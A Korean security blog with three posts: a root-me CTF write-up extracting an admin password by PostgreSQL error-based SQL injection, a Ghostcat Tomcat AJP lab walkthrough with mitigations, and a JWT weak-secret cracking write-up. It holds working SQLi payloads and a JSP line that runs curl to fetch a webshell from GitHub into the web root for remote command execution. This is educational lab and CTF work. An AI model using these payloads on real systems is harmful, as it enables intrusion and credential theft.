반응형

Error based SQL Injection 문제입니다. 관리자의 패스워드를 획득하는 것이 목표입니다.

 

문제에 들어가 보면 [Authentication] 메뉴와 [Contents] 메뉴 두 개가 있습니다.

우선, [Authentication] 메뉴에 있는 로그인 폼에다가 임의로 로그인을 해보았습니다. [admin/1234]

 

"login failed" 라는 에러 문구만 출력되고 다른 에러는 보이지 않습니다.

취약한 포인트가 아닌 것 같네요. 

이번에는 [Contents] 메뉴를 클릭해보았습니다.

 

[Contents] 메뉴 클릭 시 action과 order 파라미터가 전송되는데 order 파라미터 값에 싱글 쿼터를 삽입해보았습니다.

 

데이터베이스 오류가 출력됩니다! 이 포인트를 이용해서 에러 기반 SQL Injection을 진행하면 될 것 같습니다.

 

어떤 데이터베이스를 사용하는지 몰라서 우선 모든 구문을 다 삽입해보았습니다.

https://sqlwiki.netspi.com/injectionTypes/errorBased/#postgresql

 

NetSPI SQL Injection Wiki

Error based SQL Injections are exploited through triggering errors in the database when invalid inputs are passed to it.

sqlwiki.netspi.com

위 링크에 나와있는 Mysql, Oracle 등의 구문을 삽입하다가 Postgresql 구문이 정상 실행되어 데이터베이스 종류를 파악할 수 있었습니다.

 

1. VERSION 정보

,cast(,cast(chr(126)||version()||chr(126)+as+int)-- 구문으로 PostgreSQL 버전 정보를 획득할 수 있습니다.

 

2. 테이블 정보

,cast(,cast(chr(126)||(select+table_name+from+information_schema.tables+limit+1)||chr(126)+as+int)-- 구문으로 테이블 정보를 획득합니다. 테이블 명이 m3mbr35t4bl3 임을 확인할 수 있습니다.

 

3. 컬럼 정보

,cast(,cast(chr(126)||(select+column_name+from+information_schema.columns+limit+1)||chr(126)+as+int)-- 구문으로 첫 번째 컬럼 정보를 획득합니다. 첫번째 컬럼 명은 id입니다.

 

두 번째 컬럼 정보를 얻기 위해 구문에 offset을 추가하였습니다.

,cast(,cast(chr(126)||(select+column_name+from+information_schema.columns+limit+1+offset+1)||chr(126)+as+int)-- 구문으로 두 번째 컬럼 정보를 획득합니다. 두번째 컬럼 명은 us3rn4m3_c0l입니다. 

 

패스워드 컬럼을 찾기 위해 세번째 컬럼 명까지 확인해보았습니다.

,cast(,cast(chr(126)||(select+column_name+from+information_schema.columns+limit+1+offset+2)||chr(126)+as+int)-- 구문으로 세 번째 컬럼 정보를 획득합니다. 세번째 컬럼 명은 p455w0rd_c0l입니다. 해당 컬럼에 패스워드 정보가 들어있을 것 같다는 예상이 됩니다.

 

4. 데이터 정보

패스워드 컬럼 명까지 확인했으니 데이터를 뽑아보겠습니다.

우선은 ,cast(,cast(chr(126)||(select+us3rn4m3_c0l+from+m3mbr35t4bl3+limit+1+offset+0)||chr(126)+as+int)-- 구문으로 유저 컬럼의 첫 번째 데이터부터 확인합니다. 첫번째 데이터 값이 admin 이므로 admin에 해당하는 패스워드만 확인하면 될 것 같습니다.

 

,cast(,cast(chr(126)||(select+p455w0rd_c0l+from+m3mbr35t4bl3+limit+1+offset+0)||chr(126)+as+int)-- 구문으로 admin의 패스워드 값을 확인합니다. 해당 값이 Flag이기 때문에 바로 인증하시면 됩니다!

반응형
반응형
1. Ghostcat 취약점이란?

#1. 취약점 개요

1월 초, Chaitin Tech에서 톰캣 관련 취약점이 발견되었다고 발표하였습니다. Tomcat AJP 프로토콜의 결함으로 인해 발생한 해당 취약점은 Tomcat의 webapp 디렉토리 하위에 있는 임의의 파일 접근 및 읽을 수 있고, 서버에 파일 업로드 기능이 있는 경우 이를 악용하여 서버 사이드 스크립트 파일(jsp) 업로드 및 원격코드실행이 가능합니다.

 

#2. 취약점 원리

기본적으로 Tomcat은 8080 포트를 사용하는 HTTP Connector, 8009 포트를 사용하는 AJP Connector, 두 개의 커넥터로 구성되고 있습니다. HTTP 커넥터는 우리가 자주 사용하는 HTTP 웹 서비스를 제공하는데 사용되고 있으며, AJP 커넥터는 AJP(Apache Jserv Protocol) 프로토콜을 사용하는데 HTTP 프로토콜의 성능 최적화를 위해 사용됩니다. Tomcat은 AJP를 Apache HTTPD 웹서버나 다른 톰캣 인스턴스와 데이터를 교환하기 위해 사용합니다. 따라서, Tomcat에서 디폴트로 AJP 커넥터가 활성화되어 있고, 8009 포트로 열려있기 때문에 공격자는 AJP 버그를 이용해 서버 내 파일 읽기/쓰기(파일 업로드 허용하는 경우)가 가능합니다.

 

#3. 취약한 버전

- Apache Tomcat 9.0.30 포함한 이전 버전 < 9.0.31

- Apache Tomcat 8.5.50 포함한 이전 버전 < 8.5.51

- Apache Tomcat 7.0.99 포함한 이전 버전 < 7.0.100

- Apache Tomcat 6.x

(TMI : 해당 취약점이 발견되었을 때, 톰캣 9/8/7/6의 모든 버전에 영향을 미쳐 10년 이상 휴면 상태였기 때문에 Ghostcat이라고 명명했다고 합니다.)

 

2. 실습

#1. 실습 환경 구축

- Apache Tomcat 8.5.50 버전

- Windows 10 

 

Step 1) 취약한 톰캣 버전 다운로드

https://archive.apache.org/dist/tomcat/에서 취약한 버전의 톰캣 다운로드 합니다. 

bin 디렉토리 내 윈도우 환경은 zip, 리눅스 환경은 tar.gz 파일을 다운 받으시면 됩니다. 

 

Step 2) Tomcat 서버 구동

저는 실습을 위해 Apache Tomcat 8.5.50 버전을 다운로드 받았으며, bin 디렉토리 내에 있는 [startup.bat] 파일을 실행시켜 톰캣 서버를 구동합니다. http://[ip정보]:8080 으로 접근하니 Tomcat 서버가 성공적으로 작동하고 있음을 확인할 수 있습니다.

 

Step 3) 파일 업로드 기능 추가

로컬 PC에 Tomcat 서버를 구동시켰기 때문에 바로 파일을 업로드해도 되지만, 실제 진단환경과 비슷하게 하기 위해 간단한 파일업로드 기능을 하는 게시판을 추가시켰습니다.

 

fileupload.jsp 페이지에서 test.txt 파일을 업로드한 후 [UPLOAD] 버튼을 클릭하면

 

Upload Success 라는 메시지가 출력된 후

 

본인이 지정한 위치 저의 경우 Tomcat webapps/ROOT/file 디렉터리에 업로드 되는 것을 확인할 수 있습니다.

 

#2. 공격 실습

Step 1) POC 코드 / 공격 툴 다운로드

- XRAY 툴 : https://github.com/chaitin/xray/releases/tag/0.19.2
- POC : https://github.com/00theway/Ghostcat-CNVD-2020-10487

- POC : https://github.com/laolisafe/CVE-2020-1938
- POC : https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC

 

Step 2) 공격 코드 테스트

저는 위 링크 중 두번째 코드를 이용해 실습을 진행하였습니다.

 

만약, 웹 상으로 웹 서버 설정파일인 web.xml에 접근 시도 시 위와 같이 에러가 발생합니다.

 

그러나, 아래와 같이 [python ajpShooter.py http://127.0.0.1 8009 /WEB-INF/web.xml read] 명령어를 이용해 webapps 디렉터리 하위에 존재하는 웹 설정파일을 읽을 수 있습니다.

Step 3) 공격 수행

업로드 기능을 이용해 URL 상에 있는 웹쉘을 다운로드 받아 실행시켜 보도록 하겠습니다.

(사실 위의 업로드 게시판은 확장자 필터링 기능이 없어 웹쉘을 바로 업로드할 수 있으나, 실제 진단 환경처럼 이미지나 텍스트 파일만 업로드 가능한 환경이라고 가정하였습니다.)

아래의 코드를 텍스트 파일로 저장하여 업로드합니다.

 

[<% Runtime.getRuntime().exec("cmd.exe /C curl -o ..\\webapps\\ROOT\\cmd.jsp https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp"); %>]

 

위는 서버에서 cmd를 이용해 cmd.jsp 파일을 다운로드하는 명령어입니다. 윈도우 환경이라 wget 명령어가 아닌 curl 명령어를 사용하였습니다.

 

read 명령어를 사용해 업로드한 파일 접근이 가능해 취약함을 판단하였고, eval 명령어를 통해 ghostcat.txt를 jsp로 실행하였습니다.

 

eval 명령어를 통해 URL 상의 cmd.jsp가 다운로드 되었고, 지정한 경로인 웹 루트에 저장되어 cmd.jsp 파일 생성 및 해당 페이지 내 cmd 기능을 통해 명령어 실행이 가능하였습니다. 

 

3. 대응방안

#1. Apache Tomcat 최신 버전 업데이트

- https://tomcat.apache.org

- https://github.com/apache/tomcat/releases

 

#2. 설정 파일 수정 후 톰캣 재기동

CASE1. AJP Connector service 사용하지 않는 경우

<CATALINA_BASE>/conf/server.xml 내

...

<!-- <Connector prot="8009" protocol="AJP/1.3" redirectPort="8443" /> --> //주석처리

...

 

CASE2. AJP Connector service 사용하는 경우

[최신 버전으로 업데이트 후]

<CATALINA_BASE>/conf/server.xml 내

...

<Connector prot="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET" />

...

혹은

[최신 버전으로 업데이트 불가한 경우]

<CATALINA_BASE>/conf/server.xml 내

...

<Connector prot="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" requiredSecret="YOUR_TOMCAT_AJP_SECRET" />

...

 

4. 참고자료

- https://blog.alyac.co.kr/2772

- https://www.chaitin.cn/en/ghostcat?fbclid=IwAR1UWAw46jxHg5SbieNZ66-yACav853QlfcLLWIv_3jFJBvJEzvpSGFMFo4

- https://blog.naver.com/isc0304/221832618749

- https://www.dailysecu.com/news/articleView.html?idxno=106713

- https://github.com/00theway/Ghostcat-CNVD-2020-10487 // POC

반응형
반응형

JSON Web Token(JWT) 관련 마지막 문제입니다. 

이전에 작성했던 JWT - Public Key 보다 난이도가 낮은데 앞 문제부터 포스팅해버렸네요.

어쨌든 이번에는 Weak Secret 문제입니다.

 

문제에 접속해보면 위와 같은 메시지가 출력되고 있습니다. 

간단한 게임을 해보자며(쏘우 같네..ㅎ) 저희가 super secret admin section에 접근 못한다에 배팅을 걸었네요.

그러고 나서는 또 친절하게 token을 이용해서 /admin에 접속하면 된다며 힌트를 주고 있습니다.

 

힌트에 나온 대로 /token에 접근해보니 jwt 값을 얻을 수 있습니다.

 

admin section에 획득한 jwt 값을 이용해서 접근해보니,, 인증 값이 안 맞다며 놀리고 있네요.

 

우선, 획득한 jwt 값을 디코딩해보았습니다. 알고리즘은 HS512를 사용하고 있고, Payload 상의 role(권한)이 guest 권한이라 admin section 접근 거부당한 것을 알 수 있습니다.

 

role(권한)을 admin으로 변조하려면 secret key 값을 알아내야 합니다.

Key cracking 툴은 여러 종류가 있기 때문에 본인의 취향에 맞게 선택하시면 될 것 같네요.

John the Ripper, PyJWT, jwtcat 등을 사용하시면 됩니다.

 

저는 jwtcat 툴을 사용했습니다. jwtcat 툴을 설치하는 과정입니다.

$ git clone https://github.com/AresS31/jwtcat

$ cd jwtcat

$ pip3 install -r requirements.txt

 

pip3 install -r requirements.txt << 해당 명령어가 실행이 안되면 아래 명령어를 순서대로 실행 후 다시 진행하세요.

$ sudo apt-get update

$ sudo apt-get install python3-pip

 

jwtcat을 설치했으면 key Cracking 과정만 남았습니다.

$ python3 jwtcat.py -t TOKEN -w WORDLIST

 

TOKEN에 획득한 jwt 토큰 값을 입력하고 WORDLIST에 패스워드 사전 경로를 입력해 주시면 됩니다.

wordlist는 crunch, cupp, 워드하운드, BruteScrape 등으로 직접 만드셔도 되고 웹 상에 업로드된 리스트를 사용하셔도 무방합니다. 저는 구글링으로 기존에 만들어져 있는 password list를 다운로드하여 사용했습니다.

(용량이 너무 커서 첨부를 못하네요...ㅜㅜ)

 

아무튼 jwtcat를 실행하시면 크랙된 Secret key 획득에 성공할 수 있습니다.

 

획득한 secret key를 이용해서 변조한 페이로드를 서명하시면 됩니다.

Payload의 role을 admin으로 바꾸고, Signature 부분에 획득한 secret key(lol)을 입력해주면 jwt 포맷으로 토큰 값이 나옵니다. 

 

이것을 다시 admin section에 접속할 때, Header의 Authorization 부분에 삽입해주면!~

admin 권한으로 인식되어 flag 값을 확인하실 수 있습니다.

 


※ 참고자료

- https://github.com/AresS31/jwtcat

 

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] SQL Injection - Routed  (0) 2020.03.20
[root-me] SQL injection - Error  (0) 2020.03.12
[root-me] JSON Web Token(JWT) - Public key  (0) 2020.03.05
[root-me] NoSQL Injection - Authentication  (0) 2020.03.03
[root-me] File upload - ZIP  (0) 2020.02.12

+ Recent posts

반응형
반응형